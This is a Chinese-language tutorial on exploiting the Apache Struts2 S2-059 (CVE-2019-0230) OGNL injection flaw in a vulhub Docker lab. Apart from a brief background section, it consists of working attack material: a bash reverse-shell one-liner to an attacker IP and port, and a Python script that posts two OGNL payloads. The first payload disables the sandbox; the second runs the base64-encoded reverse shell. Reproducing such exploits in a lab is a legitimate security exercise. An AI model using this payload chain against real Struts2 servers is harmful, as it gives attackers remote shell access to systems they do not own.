您好,登錄后才能下訂單哦!
這篇文章給大家介紹怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
2020年,struts2爆出了s2-059預(yù)警,最近又出現(xiàn)了s2-061,S2-061和S2-059的OGNL表達執(zhí)行觸發(fā)方式一樣。S2-059的修復(fù)方式為只修復(fù)了沙盒繞過并沒有修復(fù)OGNL表達式執(zhí)行點,因為這個表達式執(zhí)行觸發(fā)條件過于苛刻,而S2-061再次繞過了S2-059的沙盒。在這里我用s2-059進行測試。
Struts2 是 Apache 軟件組織推出的一個相當(dāng)強大的 Java Web 開源框架,本質(zhì)上相當(dāng)于一個 servlet。Struts2 基于 MVC 架構(gòu),框架結(jié)構(gòu)清晰。通常作為控制器(Controller)來建立模型與視圖的數(shù)據(jù)交互,用于創(chuàng)建企業(yè)級 Java web 應(yīng)用程序,它利用并延伸了Java Servlet API,鼓勵開發(fā)者采用MVC架構(gòu)。Struts2以WebWork優(yōu)秀的設(shè)計思想為核心,吸收了Struts框架的部分優(yōu)點,提供了一個更加整潔的MVC設(shè)計模式實現(xiàn)的Web應(yīng)用程序框架。
2020年08月13日,Apache官方發(fā)布了Struts2遠程代碼執(zhí)行漏洞的風(fēng)險通告,該漏洞編號為CVE-2019-0230,漏洞等級:高危,漏洞評分:8.5
漏洞產(chǎn)生的主要原因是因為Apache Struts框架在強制執(zhí)行時,會對分配給某些標(biāo)簽屬性(如id)的屬性值執(zhí)行二次ognl解析。攻擊者可以通過構(gòu)造惡意的OGNL表達式,并將其設(shè)置到可被外部輸入進行修改,且會執(zhí)行OGNL表達式的Struts2標(biāo)簽的屬性值,引發(fā)OGNL表達式解析,最終造成遠程代碼執(zhí)行的影響。
Apache Struts2:2.0.0-2.5.20
https://github.com/vulhub/vulhub
將vulhub-master.zip解壓后復(fù)制到kali里。
cd vulhub-master/
cd struts/
cd s2-059
docker-compose build
docker-compose up -d
bash -i >& /dev/tcp/192.168.169.130/6666 0>&1
base64編碼網(wǎng)址:
http://www.jackson-t.ca/runtime-exec-payloads.html
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
關(guān)于怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。